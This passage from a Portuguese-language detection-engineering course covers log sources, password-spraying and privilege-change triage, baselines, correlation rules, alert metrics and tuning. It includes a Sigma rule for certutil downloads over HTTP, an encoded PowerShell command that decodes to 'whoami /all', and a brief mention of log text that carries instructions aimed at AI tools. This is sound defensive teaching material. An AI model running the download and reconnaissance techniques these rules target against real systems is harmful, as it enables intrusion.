Uma chave roubada pode primeiro chamar GetCallerIdentity e depois enumerar recursos com List, Describe e Get. Resultados AccessDenied repetidos revelam sondagem de permissões mesmo quando os controles de acesso impedem as ações. Novas credenciais, assunções inesperadas de funções, uso de root ou alterações que expõem as portas 22/3389 a 0.0.0.0/0 justificam verificações de contexto. Muitas instâncias grandes com GPU em uma região não usada podem indicar sequestro de recursos.
Na sequência do exemplo, ci-deploy passa do endereço habitual do servidor de compilação e do agente de usuário de SDK para um novo endereço e CLI. Ele enumera recursos, cria uma chave para admin-backup e depois chama StopLogging. Juntas, essas ações sugerem uso indevido de credenciais, manutenção do acesso e tentativa de cegar o monitoramento. Escalone e verifique fontes independentes em busca de atividade posterior.
Colete dados de todas as regiões e contas relevantes. Recursos de curta duração podem desaparecer antes da triagem; use IDs e etiquetas estáveis de recursos e envie registros de host a um local central. Um endereço de nuvem compartilhado, sozinho, não identifica um cliente nem estabelece que a atividade pertence à automação habitual da organização.
Principais conclusões
- Separe registros de gerenciamento, acesso a dados, rede e cargas de trabalho.
- Verifique os padrões de coleta na nuvem e a cobertura regional.
- Diferencie quem fez a chamada do alvo de uma ação de API.
- Conecte reconhecimento, alterações de credenciais e adulteração do registro de eventos.
- Acompanhe recursos efêmeros por IDs estáveis e preserve seus registros centralmente.
3.2 Reconheça ataques a senhas e uso abusivo de sessões
Um provedor de identidade autentica usuários para muitas aplicações. Seu registro de entradas pode mostrar usuário, aplicativo, endereço, dispositivo, cliente, método, resultado da autenticação multifator, resultado da política e motivo da falha. O Entra separa entradas interativas, não interativas, de entidades de serviço e de identidades gerenciadas. Uma pesquisa limitada a usuários interativos deixa passar atividades de aplicações e tokens.
Interprete a autenticação do Windows
Controladores de domínio registram atividade de tíquetes Kerberos (4768, 4769, 4771) e validação de credenciais NTLM (4776). O computador acessado registra 4624 para sucesso e 4625 para falha. O evento 4740 registra o bloqueio de uma conta.
| Tipo de logon | Significado |
|---|---|
2 | Interativo |
3 | Rede |
4 | Lote |
5 | Serviço |
7 | Desbloqueio |
10 | RemoteInteractive, incluindo RDP |
11 | CachedInteractive |
Em 4625, examine tanto Status quanto SubStatus. 0xC000006A indica uma senha incorreta, 0xC0000064 um nome de usuário desconhecido, 0xC0000072 uma conta desabilitada, 0xC0000234 uma conta bloqueada e 0xC000006F um logon fora do horário permitido. Esses motivos distinguem um problema de senha de um problema de política ou de estado da conta.
Agrupe eventos para revelar o ataque
Um ataque de força bruta faz muitas tentativas contra uma conta. A pulverização de senhas testa uma ou algumas senhas prováveis em muitas contas, muitas vezes ficando abaixo dos limites de bloqueio por conta. O preenchimento de credenciais reutiliza pares vazados de nome de usuário e senha. Conte tentativas por conta e contas distintas por origem e depois procure sucessos. Atacantes podem distribuir tentativas por endereços, portanto nenhum dos agrupamentos, sozinho, oferece cobertura completa.
Na pulverização do exemplo, um endereço tenta 46 nomes de usuário uma vez cada: 41 resultados de senha incorreta e cinco de usuário desconhecido. Um sucesso posterior de logon de rede para m.tanaka a partir dessa origem aumenta a prioridade. Isso sugere fortemente credenciais válidas após a pulverização, mas verifique o pacote de autenticação e a atividade posterior: o tipo 3 também pode usar hashes ou tíquetes roubados.
Verifique como a sessão foi estabelecida
A viagem impossível compara a distância com o tempo decorrido. Madri e Seul estão a cerca de 10.000 km de distância; 45 minutos exigiriam aproximadamente 13.300 km/h. Verifique saídas de VPN, desktops hospedados, geolocalização de operadoras móveis, dispositivos e resultados das sessões antes de decidir a causa.
Solicitações push de autenticação multifator repetidamente negadas, seguidas de aprovação, podem indicar fadiga de autenticação multifator. Uma sessão incomum com autenticação multifator satisfeita por um token existente pode refletir a reutilização de um token. Caminhos de autenticação legada sem autenticação multifator e um novo método de autenticação multifator registrado após uma entrada arriscada também merecem atenção. Uma etapa de autenticação multifator concluída, sozinha, não explica esses caminhos.
Uma conta de serviço entrando interativamente, o sucesso da conta de um ex-funcionário ou um novo dispositivo e uma nova localização juntos podem indicar acesso obtido com credenciais roubadas. Falhas repetidas e rítmicas de um dispositivo interno frequentemente são compatíveis com uma senha antiga salva. Acompanhe as falhas até os sucessos e as ações e verifique identidades de usuários e de cargas de trabalho.
Principais conclusões
- Leia o resultado da entrada, o método, o cliente, o dispositivo e o contexto da política.
- Use tipos de logon e códigos de falha para identificar o caminho de acesso.
- Agrupe por conta e origem para distinguir tentativas de adivinhação de pulverização.
- Acompanhe sessões bem-sucedidas e examine o uso abusivo de tokens ou da autenticação multifator.
- Verifique o contexto da VPN e do dispositivo antes de interpretar alertas de viagem.
- Inclua identidades de aplicações e entradas não interativas.
3.3 Verifique quem alterou o acesso e quem o recebeu
Um atacante que obtém acesso pode criar outra credencial ou acrescentar privilégios para continuar operando. Alterações em contas e funções sensíveis muitas vezes são raras o suficiente para uma revisão detalhada, especialmente quando ocorrem após uma entrada incomum.
Identifique a identidade executora, o alvo e a alteração
Leia cinco informações: quem agiu, qual conta ou recurso foi alterado, o que mudou, quando e de onde. Em um evento de alteração de conta, o sujeito é a identidade executora e o alvo é a conta afetada. Depois compare a ação com uma solicitação aprovada e com o que a identidade executora normalmente gerencia.
Eventos do Windows incluem 4720 para criação de conta, 4722 para habilitação, 4724 para tentativa de redefinição de senha e 4738 para alterações de conta. Adições de membros aparecem como 4728, 4732 e 4756 para grupos globais, locais e universais habilitados para segurança. Revise grupos sensíveis como Domain Admins, Enterprise Admins, Schema Admins e Administrators local. Associações aninhadas importam: uma alteração em um grupo dentro de um grupo privilegiado também pode conceder privilégios efetivos.
O evento 4672 atribui privilégios especiais em um novo logon. Ele ocorre durante o trabalho rotineiro de administradores e contas do sistema. Pergunte se essa conta deveria ter os privilégios e se a origem do logon é esperada; tratar todo 4672 como motivo de escalonamento criaria ruído.
Leve as mesmas perguntas à nuvem
Na AWS, examine CreateUser, CreateAccessKey, ações de anexação de políticas ou de políticas em linha e UpdateAssumeRolePolicy. Uma alteração na política de confiança pode permitir que outra conta assuma uma função. Leia a alteração real de permissão ou confiança, não apenas o nome da ação.
Eventos de auditoria do Entra podem mostrar adições a funções, novas credenciais de entidades de serviço, consentimento de aplicações, registro de autenticação multifator e alterações de acesso condicional. Um segredo ou certificado acrescentado a uma identidade de aplicação poderosa pode preservar o acesso sem uma solicitação humana de autenticação multifator. O consentimento OAuth pode dar a uma aplicação acesso contínuo a e-mails ou arquivos mesmo após a alteração da senha de um usuário; revise a própria concessão de consentimento.
Relacione os eventos em torno de uma alteração de privilégio
Às 23:40 UTC, a conta de suporte hd-ops3 adiciona svc-backup a Domain Admins sem um chamado. Às 23:31, a identidade executora havia entrado por uma origem VPN inesperada; às 23:44, o alvo usa RDP para acessar DC02. A identidade executora incomum, a autorização ausente, o acesso arriscado anterior e o uso imediato do novo direito fundamentam o escalonamento.
Doze contas criadas pelo serviço de gestão de identidades às 07:00 e correspondentes à lista de integração contam uma história diferente. A autorização é uma evidência a verificar, não uma suposição baseada no nome de um administrador.
Concentre o monitoramento em associações privilegiadas, funções poderosas, contas de serviço, credenciais, consentimentos e alterações fora dos canais normais. Monitorar apenas a criação de contas deixa passar um atacante que modifica uma conta ou aplicação existente. Mantenha os identificadores dos eventos, os valores anteriores e posteriores e a referência de autorização no registro de triagem para que a decisão possa ser revisada.
Principais conclusões
- Diferencie a identidade executora da conta ou do recurso alterado.
- Verifique associações a grupos sensíveis e aninhados.
- Revise credenciais e consentimentos de aplicações, além de contas de pessoas.
- Conecte a alteração às entradas anteriores e ao uso posterior.
4Transforme comportamento normal e padrões de eventos em regras
Um alerta precisa de um motivo para se destacar. Linhas de base descrevem a atividade esperada de um usuário, host ou serviço; a correlação reúne eventos em um padrão significativo. Aprenda a escolher comparações adequadas à entidade, medir desvios e construir uma lógica de regra com agrupamento e tempo explícitos. Pequenas escolhas, como contar contas em vez de tentativas, podem determinar se um ataque será visível.
4.1 Meça desvios de uma linha de base útil
Uma linha de base descreve o comportamento normal de uma entidade durante um período de referência. Uma anomalia é um afastamento significativo dessa linha de base. Uma atividade incomum precisa de explicação: pode ser um ataque, uma mudança no negócio ou um problema nos dados.
Compare os elementos certos
Uma linha de base útil pode descrever volume, horários, relações ou configuração. Exemplos incluem bytes por dia, horários habituais de trabalho, destinos normais, software aprovado e portas abertas. Uma linha de base de grupo de pares compara pessoas ou sistemas que fazem trabalhos semelhantes, o que ajuda quando uma entidade tem pouco histórico.
Escolha primeiro a entidade e a métrica. Use várias semanas para captar ciclos semanais e inclua picos de fim de mês ou de trimestre quando forem relevantes. Remova incidentes e interrupções conhecidos dos dados de treinamento. Compare segunda-feira às 09:00 com períodos semelhantes de outras segundas-feiras, não com um domingo tranquilo. Novos softwares, mudanças organizacionais e atividade sazonal exigem revisão; caso contrário, mudanças comuns se tornam uma sequência de anomalias.
Calcule e interprete o desvio
A média mede o nível médio, e o desvio padrão mede a dispersão. Um escore z expressa a distância da média em unidades de desvio padrão:
Para FS01, os totais de saída de dez dias úteis têm média de 4,1 GB e desvio padrão amostral de cerca de 0,26 GB. Um limiar de três desvios padrão é cerca de 4,87 GB usando a dispersão sem arredondamento. Os 9,6 GB de hoje têm escore z em torno de 21. As próximas pesquisas devem estabelecer destino, processo ou conta e trabalho programado; a estatística, sozinha, não pode fornecer uma causa.
A média mais três desvios padrão é uma abordagem inicial para dados com distribuição aproximadamente em forma de sino. Volumes de segurança frequentemente são assimétricos, com muitas observações pequenas e algumas muito grandes. Medianas e percentis podem fornecer comparações mais úteis. Um limiar acima do percentil 99 histórico identifica uma observação excepcionalmente grande sem presumir uma distribuição em forma de sino. Ele ainda depende de um período de referência representativo.
Combine sinais fracos por entidade
A análise do comportamento de usuários e entidades, ou UEBA, constrói perfis comportamentais, muitas vezes usando aprendizado de máquina e grupos de pares. A geração de alertas baseada em risco soma pontuações da mesma entidade durante um período. Uma entrada de um novo país que vale 40 pontos, o primeiro uso de uma ferramenta administrativa que vale 30 e um download grande que vale 45 somam 115 em 24 horas. Com um limiar de 100, o alerta combinado apresenta um quadro mais convincente que três alertas fracos separados.
A identidade e a janela de tempo são essenciais. Somar pontuações de usuários não relacionados criaria um resultado diferente e enganoso. Pontuações classificam evidências; não são probabilidades, a menos que o sistema as defina explicitamente dessa forma.
Uma linha de base contaminada pode aprender o comportamento de um atacante como normal. Atividade lenta e discreta também pode permanecer abaixo de um limiar de volume, como 200 MB adicionados à transferência diária habitual de 4 GB de um servidor. Combine lógica de anomalias com regras de comportamentos conhecidos e verificações do estado operacional das fontes de dados, e reavalie os limiares quando a atividade normal mudar.
Principais conclusões
- Escolha uma entidade, uma métrica, um período representativo e pares relevantes.
- Compare ciclos de negócio equivalentes e remova dados de referência sabidamente inadequados.
- Use escores z apenas com dispersão e distribuição significativas.
- Considere medianas e percentis para métricas assimétricas.
- Acumule risco para a mesma entidade em um período definido.
4.2 Especifique o que uma regra de correlação deve conectar
Um sistema de gerenciamento de informações e eventos de segurança (SIEM) coleta eventos, extrai campos, normaliza, armazena e pesquisa eventos e depois aplica regras ou análises para gerar alertas. A correlação conecta eventos que compartilham uma identidade, host, endereço, sessão ou outro atributo em um intervalo de tempo. Ferramentas SOAR podem automatizar o trabalho sobre os alertas resultantes.
Escreva as partes da regra
Toda regra precisa de filtro, chave de agrupamento, janela, agregação, condição e saída de alerta. Defina cada parte antes de escolher a sintaxe do produto.
| Tipo de regra | Padrão |
|---|---|
| Evento único | Uma limpeza do registro de auditoria |
| Limiar | Pelo menos 10 falhas por conta em 5 minutos |
| Contagem de valores distintos | Pelo menos 20 contas diferentes por origem em 10 minutos |
| Sequência | Falhas seguidas de sucesso |
| Fontes cruzadas | Eventos relacionados de identidade ou host de fontes distintas |
| Ausência | Sinal periódico de atividade esperado ausente |
| Estatística | Desvio de uma linha de base |
A chave de agrupamento determina o que a regra pode detectar. Contagens por conta revelam tentativas concentradas de adivinhação. Usuários distintos por origem revelam pulverização de uma única origem. Origens distintas por conta revelam ataques distribuídos contra essa conta. A pulverização distribuída entre diferentes contas e endereços pode permanecer abaixo de todos esses limiares; examine aplicações alvo comuns, horários, características dos clientes ou mudanças na taxa total de falhas.
Analise uma sequência
Primeiro selecione falhas de autenticação agrupadas por user.name e source.ip, com pelo menos 10 falhas em 5 minutos. Depois exija um sucesso para o mesmo usuário e a mesma origem nos 10 minutos seguintes. Doze falhas de jdoe a partir de 198.51.100.20 entre 10:03:10 e 10:06:40, seguidas de sucesso às 10:07:05, satisfazem as duas etapas. Um sucesso para outro usuário não deve completar a sequência.
O Sigma pode expressar correlações sobre regras base com type, rules, group-by, timespan e condition. Os tipos incluem event_count, value_count, temporal e temporal_ordered. Uma correlação de contagem de eventos sobre uma regra de falhas de logon pode agrupar por TargetUserName, usar 5m e exigir gte: 10. A conversão para um backend ainda exige mapeamento correto dos campos e semântica compatível.
Faça o tempo corresponder ao padrão pretendido
Janelas fixas dividem o tempo em blocos. Seis falhas em 10:00–10:05 e quatro em 10:05–10:10 nunca chegam a dez em nenhum dos blocos. Uma janela deslizante de cinco minutos pode detectar as dez se a sequência couber nela. Janelas maiores podem capturar ataques mais lentos e exigem mais processamento. A latência do alerta depende da frequência de execução, do atraso de ingestão e de a avaliação esperar ou não o fechamento de uma janela.
Use o horário do evento e considere chegadas tardias com atraso ou período de consulta anterior adequados. Normalize campos entre fontes, corrija problemas de relógio e remova entregas duplicadas pela identidade do evento antes de contar. Execuções sobrepostas de regras também precisam de agrupamento de alertas para que a mesma sequência não sobrecarregue a fila.
O alerta deve conter a finalidade da regra, usuário ou host, endereços, contagens, horários inicial e final, severidade, links para eventos brutos e orientações de triagem. Verifique os dados necessários e os volumes locais antes da implantação: a correlação não pode reconstruir um evento que a fonte nunca registrou.
Principais conclusões
- Especifique filtro, chave, janela, agregação, condição e saída.
- Escolha um agrupamento que corresponda ao padrão de ataque.
- Exija as mesmas entidades e a ordem correta em regras de sequência.
- Trate limites de janelas, dados tardios e entregas duplicadas.
- Forneça aos analistas as evidências e o contexto necessários para a triagem da correspondência.
- Teste padrões distribuídos entre contas e endereços de origem.
5Tome e documente uma decisão sobre o alerta
A triagem transforma um alerta em uma próxima ação justificada. Aprenda a separar a correspondência de uma regra do valor do alerta, escolher o trabalho por risco e urgência e seguir um caminho repetível por eventos brutos, contexto e atividade relacionada. Consultas direcionadas e decodificação cuidadosa ajudam a responder à pergunta imediata. Notas claras permitem que outro analista entenda a decisão e que a equipe de resposta assuma o atendimento quando for necessário escalonar.
5.1 Classifique resultados e meça a qualidade dos alertas
Um alerta pode estar tecnicamente correto sem exigir tratamento de incidente. Use classificações de resultado consistentes para que os registros de encerramento ajudem a melhorar detecções em vez de esconder por que os alertas foram encerrados.
Separe o comportamento do seu significado
| Resultado | Significado |
|---|---|
| Verdadeiro positivo | Uma atividade maliciosa real foi detectada |
| Verdadeiro positivo benigno | O comportamento descrito ocorreu e foi autorizado |
| Falso positivo | A regra identificou incorretamente o comportamento alvo |
| Falso negativo | Uma atividade maliciosa real não foi detectada |
| Verdadeiro negativo | Uma atividade benigna corretamente não gerou alerta |
Um scanner de vulnerabilidades autorizado realmente faz varreduras. Uma regra de varredura que o identifica gera um verdadeiro positivo benigno. Um erro de análise que faz tráfego normal parecer uma varredura gera um falso positivo. Equipes diferentes usam classificações de maneiras diferentes; o requisito operacional importante é uma definição consistente e um motivo registrado.
A exatidão da correspondência de comportamento pergunta se o comportamento descrito ocorreu. A precisão dos alertas aqui pergunta qual proporção de todos os alertas foi confirmada como maliciosa. O denominador inclui falsos positivos e verdadeiros positivos benignos:
Seis alertas maliciosos entre 200 no total resultam em precisão de 3%. Se o scanner for responsável por muitas correspondências corretas, mas autorizadas, a exatidão da correspondência de comportamento pode ser boa enquanto a precisão dos alertas é baixa. Isso sugere alterar o escopo operacional da regra, não fingir que suas observações estavam erradas.
Considere o que não foi detectado
A revocação mede a proporção da atividade maliciosa real que foi detectada:
Casos não detectados podem surgir por meio de incidentes, caças a ameaças, trabalho de equipe ofensiva ou testes controlados. Sem essas evidências, uma fila tranquila diz pouco sobre a revocação. Elevar um limiar pode remover alertas ruidosos e ao mesmo tempo deixar passar ataques mais lentos, portanto avalie tanto o comportamento detectado quanto o não detectado.
A taxa de base importa porque ataques são raros entre eventos comuns. Uma taxa de disparos indevidos de 0,1% em cerca de dois milhões de eventos benignos produz aproximadamente 2.000 alertas falsos. Mesmo uma pequena porcentagem pode sobrecarregar uma equipe. Agregação, contexto mais forte e pontuação de risco podem tornar sinais fracos mais úteis.
Decida o que precisa de atenção primeiro
A severidade descreve a gravidade que a atividade detectada teria se fosse verdadeira. A prioridade determina a ordem de tratamento usando severidade, confiança e criticidade do ativo ou usuário. Um alerta de severidade média em um controlador de domínio pode ser mais urgente que um alerta de alta severidade em uma máquina de teste isolada.
Alertas repetidos de baixo valor criam fadiga de alertas: analistas passam os olhos e ataques reais ficam mais fáceis de perder. Cada alerta na fila deve apoiar uma ação ou decisão. Mantenha observações que não exigem ação disponíveis em registros ou painéis. Registre evidências e motivos de encerramento para que engenheiros possam distinguir análise incorreta, comportamento autorizado, saída duplicada e detecções realmente maliciosas durante o ajuste fino.
Principais conclusões
- Diferencie falsos positivos de correspondências autorizadas.
- A precisão dos alertas considera alertas maliciosos sobre o total de alertas.
- A revocação precisa de evidências sobre casos maliciosos detectados e não detectados.
- Priorize usando confiança e criticidade, além de severidade.
5.2 Vá do alerta a uma transferência clara
Triagem é a primeira avaliação para decidir se um alerta é real, qual é sua urgência e o que deve acontecer em seguida. Trabalhe dentro das metas de resposta da equipe e use a prioridade para decidir qual alerta examinar primeiro.
Siga um caminho repetível
- Entenda. Leia a finalidade, a lógica, as entidades, o intervalo de tempo e o procedimento operacional da regra. Saiba qual comportamento ela indica e quais são suas causas benignas esperadas.
- Valide. Abra os eventos brutos. Verifique a extração de campos, marcas temporais, host e identidade, resultado do evento, duplicatas e dados de teste. Um título convincente não corrige um mapeamento incorreto do campo de origem.
- Acrescente contexto. Verifique a função e o responsável pelo ativo, privilégios, atividade normal, chamados de alteração, testes agendados, reputação dos indicadores e encerramentos anteriores.
- Determine o escopo. Pesquise hosts, usuários, destinos, hashes e alertas relacionados antes e depois da correspondência. Construa uma breve linha do tempo em UTC.
- Decida e documente. Encerre com um resultado fundamentado, continue observando com um motivo ou escalone uma suspeita de incidente.
Uma suposta janela de manutenção precisa de um registro de autorização correspondente. Uma conta conhecida de administrador pode estar comprometida. As verificações de contexto devem testar a explicação plausível em vez de simplesmente aceitá-la.
Analise o alerta de pulverização de senhas
O alerta informa que 198.51.100.77 tentou acessar 46 contas das 10:00 às 10:20 UTC. Registros brutos 4625 mostram 41 resultados de senha incorreta e cinco de usuário desconhecido, todos do tipo 3. O endereço não é de um scanner autorizado e não há teste de invasão agendado.
Pesquise sucessos da mesma origem e no mesmo intervalo de tempo. Um 4624 para m.tanaka aparece às 10:21, seguido de acesso à caixa de e-mail às 10:24. Esses eventos posteriores aumentam a confiança e a urgência em relação a um conjunto de tentativas de adivinhação bloqueadas. Documente qual conta teve sucesso e quais contas não apresentam sucesso observado. A ausência nos registros disponíveis deve permanecer vinculada ao escopo dessa pesquisa.
A decisão é escalonar como atividade maliciosa com alta prioridade. Anexe os registros brutos, as consultas, as verificações de autorização e a linha do tempo. Relatos de reputação apoiam a decisão, mas as ações relacionadas de autenticação e acesso à caixa de e-mail constituem a principal evidência.
Deixe um registro que outro analista possa usar
Um registro de encerramento informa o que foi verificado, os IDs e horários dos eventos relevantes, o escopo da consulta, as evidências de apoio, o raciocínio e o resultado. Para um verdadeiro positivo benigno, inclua a referência de autorização e quem a confirmou. Para um falso positivo, explique a divergência e faça uma solicitação de ajuste fino se houver recorrência.
Uma transferência de atendimento no escalonamento informa o que aconteceu, quando, as entidades afetadas, as evidências, a severidade e a confiança avaliadas, as perguntas sem resposta e qualquer risco imediato, como uma sessão ativa ou transferência de saída em andamento. A equipe de resposta a incidentes precisa distinguir fatos observados de hipóteses. Se o impacto puder ser alto e restar uma dúvida importante, escalone a incerteza com clareza em vez de esperar por todas as verificações possíveis.
Defina um limite de tempo para trabalho de baixa prioridade para que ele não tome o lugar de alertas críticos. Salve detalhes suficientes das consultas e dos resultados para que o próximo analista possa reproduzir a pesquisa e continuar a partir das mesmas evidências.
Principais conclusões
- Entenda a regra e valide-a com evidências brutas.
- Verifique a autorização e a atividade esperada antes de aceitar uma explicação benigna.
- Determine o escopo dos sucessos e da atividade posterior, não apenas das falhas.
- Registre evidências, raciocínio, resultado e incertezas restantes.
- Escalone preocupações de alto impacto com uma transferência concisa e útil.
5.3 Pesquise, faça pivoteamento e decodifique com cuidado
Uma boa consulta de investigação responde a uma pergunta específica. Comece pelo horário e pela entidade do alerta, selecione campos úteis e ordene pelo horário do evento. Amplie a pesquisa quando um resultado der motivo para isso.
Passe de uma pista às evidências relacionadas
Uma consulta independente de fornecedor pode pedir eventos de autenticação de 198.51.100.77 em 24 horas, agrupados por user.name e event.outcome. As contagens revelam a abrangência; as linhas brutas estabelecem ações e horários exatos. Uma única pesquisa de meses em todas as fontes costuma ser lenta e difícil de interpretar.
O pivoteamento investigativo percorre uma relação: endereço até os hosts que o contataram, host até o processo que iniciou a conexão, processo até o usuário, usuário até as entradas. Anote a consulta, os limites de tempo, os identificadores e o resultado de cada etapa. Faça a correspondência dos identificadores de processos e horários dos eventos quando disponíveis; caso contrário, um endereço ou número de processo reutilizado pode criar uma ligação falsa.
Decodifique sem executar
| Codificação | Pista | Exemplo |
|---|---|---|
| Base64 | Letras, dígitos, +, /, às vezes = de preenchimento | Texto de comando codificado |
| Codificação de URL | % e dois dígitos hexadecimais | %27 é um apóstrofo |
| Hexadecimal | Pares de dígitos hexadecimais | 636d642e657865 é cmd.exe |
O -EncodedCommand do PowerShell usa Base64 de texto UTF-16LE. dwBoAG8AYQBtAGkAIAAvAGEAbABsAA== é decodificado para whoami /all. Selecione a codificação de texto correta após decodificar os bytes. Uma ferramenta como CyberChef pode encadear etapas; registre as camadas e preserve o valor original. A decodificação revela texto para exame; ela não exige executar o comando.
Acrescente contexto externo com segurança
Informações de registro, idade do domínio, propriedade da rede, geolocalização, reputação de IP, consultas de hash e relatórios existentes de ambientes isolados de análise podem orientar a próxima pesquisa. Um domínio recente ou um endereço de nuvem compartilhado com relatos exige corroboração. Uma reputação sem registros suspeitos pode refletir uma ameaça nova ou pouco observada.
Proteja os dados da investigação: use ferramentas de consulta aprovadas e ambientes isolados de análise, consulte um hash em vez de enviar um arquivo sensível a um scanner público e evite visitas diretas à infraestrutura suspeita pela rede corporativa. Envios públicos podem expor arquivos confidenciais ou revelar uma investigação a um atacante.
Assistentes de IA podem resumir registros, explicar comandos ou elaborar pesquisas. Verifique os campos e as conclusões sugeridos por esses assistentes nos eventos brutos e na documentação. Use ferramentas permitidas pela política de dados da organização. Trate sequências de texto dos registros controladas por atacantes, incluindo agentes de usuário e nomes de arquivos, como dados mesmo quando contiverem instruções direcionadas a um sistema de IA.
Mantenha distintas as listas de entidades
Um pivoteamento no proxy a partir de um host encontra mais três que contataram o mesmo endereço: quatro hosts tiveram contato. Uma pesquisa de e-mail encontra 14 destinatários de um documento. São populações diferentes. Confirme a execução nos hosts com evidências de endpoints e associe destinatários aos seus dispositivos antes de ampliar o escopo. O contato de rede, sozinho, deixa a execução sem confirmação, e subtrair contagens de hosts de contagens de destinatários produz um resultado sem significado.
Principais conclusões
- Comece com pesquisas restritas e depois amplie-as com base nas evidências.
- Registre consultas de pivoteamento, identificadores, limites de tempo e resultados.
- Decodifique cada camada com a codificação de caracteres correta.
- Use ferramentas aprovadas de reputação e análise que protejam dados sensíveis.
- Verifique a saída da IA e trate o texto dos registros como dados não confiáveis.
- Diferencie contato de rede, entrega de arquivo e execução confirmada.
6Construa detecções que continuem úteis
Uma detecção exige manutenção, não é uma regra escrita uma vez e esquecida. Comece com um comportamento relevante e os dados que podem revelá-lo, depois teste tanto a detecção quanto a atividade normal antes da implantação. Em seguida, use os resultados da triagem para aperfeiçoar a lógica, mantenha as exclusões restritas e execute novamente os testes quando regras ou dados mudarem. A qualidade vem da detecção de comportamentos úteis com evidências sobre as quais um analista pode agir.
6.1 Escreva e teste uma detecção baseada em comportamento
A engenharia de detecção trata regras como um processo repetível de projeto, teste e manutenção. Detecções como código mantém as regras sob controle de versão, com revisão e verificações automatizadas, para que uma alteração possa ser explicada e reproduzida.
Comece pelo comportamento e pelos dados
Defina o requisito a partir de uma ameaça relevante, incidente, técnica do ATT&CK, achado de equipe ofensiva ou lacuna conhecida. Identifique a fonte e os campos que o revelam. Confirme a coleta, a extração de campos e a normalização antes de escrever a lógica. Depois escreva, teste, documente, implante, ajuste, revise e, por fim, retire a detecção.
Indicadores atômicos, como um hash de arquivo, podem identificar rapidamente um artefato conhecido. Regras comportamentais, como um programa do Office iniciando um interpretador de scripts, resistem a mais alterações no artefato. Mapeie o comportamento para técnicas relevantes do ATT&CK, por exemplo T1059.001 para PowerShell ou T1105 para transferência de ferramenta para o ambiente. Um rótulo registra a cobertura pretendida; um teste bem-sucedido estabelece que a implementação local realmente a detecta.
Leia uma regra Sigma
Sigma é um formato portável de detecção em YAML. Uma regra tem title, logsource e detection. Atributos da fonte de registros, como product, category e service, selecionam dados adequados; use a combinação que identifica a fonte. Seleções nomeadas descrevem correspondências, e condition as combina. Vários campos em uma seleção usam AND; uma lista de valores normalmente usa OR. Modificadores como contains, endswith e all alteram a correspondência.
title: Certutil Download Activity
logsource:
product: windows
category: process_creation
detection:
selection_img:
Image|endswith: '\certutil.exe'
selection_cli:
CommandLine|contains|all:
- 'urlcache'
- 'http'
condition: selection_img and selection_cli
falsepositives:
- Administrative file download
level: high
tags:
- attack.t1105
Essa regra exige que a imagem do executável termine em \certutil.exe e que a linha de comando contenha tanto urlcache quanto http. Ela precisa de criação de processos com linhas de comando, como Sysmon 1 ou 4688 configurado adequadamente. Converta-a e verifique-a em relação aos mapeamentos de campos do backend. Renomear o binário pode evitar esse teste específico de imagem, portanto documente esse limite.
Teste e torne o alerta utilizável
Reproduza eventos semelhantes aos maliciosos ou execute simulações seguras aprovadas em um ambiente de teste. Confirme o alerta esperado e seus campos de entidade. Execute dados históricos normais, talvez de 30 dias, para estimar o ruído. Inclua casos extremos: maiúsculas e minúsculas, aspas, espaçamento, campos ausentes, ferramentas renomeadas e usos administrativos plausíveis. Um teste que dispara uma vez estabelece menos que um teste positivo combinado com testes de limites e de ruído.
Documente finalidade, fontes necessárias, lógica, mapeamento para o ATT&CK, severidade, causas benignas conhecidas, etapas de triagem, evidências de teste, volume esperado, responsável e data de revisão. Uma implantação apenas para monitoramento permite que a equipe examine a saída real antes de confiar nela operacionalmente. Regras precisam de um responsável para reagir quando estruturas das fontes ou atividades de negócio mudarem.
Principais conclusões
- Verifique os dados da fonte antes de projetar a lógica.
- Prefira comportamento duradouro, mantendo correspondências atômicas úteis.
- Leia seleções e condições Sigma como lógica explícita.
- Teste casos semelhantes aos maliciosos, normais e de limite.
- Documente a responsabilidade, as dependências de dados e as orientações de triagem.
6.2 Reduza o ruído sem perder o comportamento
O ajuste fino altera a lógica, os limiares, o escopo ou o contexto da regra para tornar os alertas mais úteis para ação, preservando a detecção pretendida. Comece pelos registros de encerramento: análise incorreta, comportamento autorizado e saída repetida exigem correções diferentes.
Escolha uma alteração adequada à causa
Para comportamento autorizado conhecido, use uma exceção restrita. Para eventos não relacionados, acrescente uma condição significativa, como processo pai, caminho completo, elemento da linha de comando, função da identidade ou contexto do ativo. Ajuste limiares e janelas em relação à atividade medida. Agrupe correspondências repetidas em um alerta por entidade e período. Um sinal fraco pode contribuir para a pontuação de risco em vez de criar um item separado na fila.
Exclusões precisam de responsável, motivo e data de revisão ou expiração. Exclua o endereço e a identidade específicos de um scanner para a regra de varredura, com o horário aprovado. Excluir todo o 10.0.0.0/8 cegaria a regra para ataques internos. Uma exceção de backup deve usar um caminho completo confiável e um signatário; malware pode copiar um nome de arquivo como backup.exe. Uma pasta inteira em que se pode gravar, como C:\Temp\, é um atalho inseguro.
Meça a alteração do exemplo
Uma regra de varredura gera 200 alertas em um mês; seis são confirmados como maliciosos. A precisão dos alertas é 3%. A triagem encontra 150 correspondências do scanner autorizado 10.0.9.15 durante sua janela de varredura. Excluir essa origem para essa regra e janela deixa 50 alertas, incluindo os mesmos seis maliciosos:
O volume cai 75%. As detecções maliciosas observadas são mantidas, e uma varredura desse host fora de sua janela ainda gera alerta. Esse resultado retrospectivo não abrange todos os caminhos de ataque futuros; teste também atividade maliciosa próxima ao limite da exclusão, incluindo possível uso indevido de um sistema aprovado.
Elevar um limiar de falhas de 10 para 50 em cinco minutos pode suprimir novas tentativas comuns, mas também deixa passar ataques entre esses valores. Desabilitar a regra remove completamente sua cobertura. Execute novamente testes positivos após cada alteração de ajuste fino e examine quais casos antes detectados agora desaparecem.
Mantenha visíveis a qualidade e o estado operacional dos dados
Acompanhe o volume por regra, as detecções confirmadas como maliciosas, a precisão e os casos conhecidos não detectados. Uma taxa de falsos positivos precisa de um denominador definido; a proporção de alertas encerrados como falsos positivos é uma medida diferente da taxa entre eventos benignos. Documente qual métrica a equipe apresenta.
O tempo médio de detecção mede o intervalo entre o início da atividade maliciosa e sua detecção. O tempo médio de resposta acompanha o intervalo de resposta definido pela equipe. Mantenha essa definição consistente ao comparar períodos. Revise a cobertura testada das técnicas prioritárias do ATT&CK junto com o estado operacional das fontes, campos ausentes, falhas de análise e acúmulos em filas. Uma queda no número de alertas após a falha de um analisador é uma falha de monitoramento.
Execute novamente os testes após alterações em fontes ou analisadores, revise exceções próximas do vencimento, retire regras obsoletas e acrescente detecções para comportamentos que passaram a ser relevantes. Exercícios conjuntos de equipes ofensivas e defensivas e simulações de violações e ataques podem revelar lacunas antes de um incidente real. Armazene as alterações e os resultados dos testes com a regra para que a próxima revisão mostre por que seus limites atuais existem.
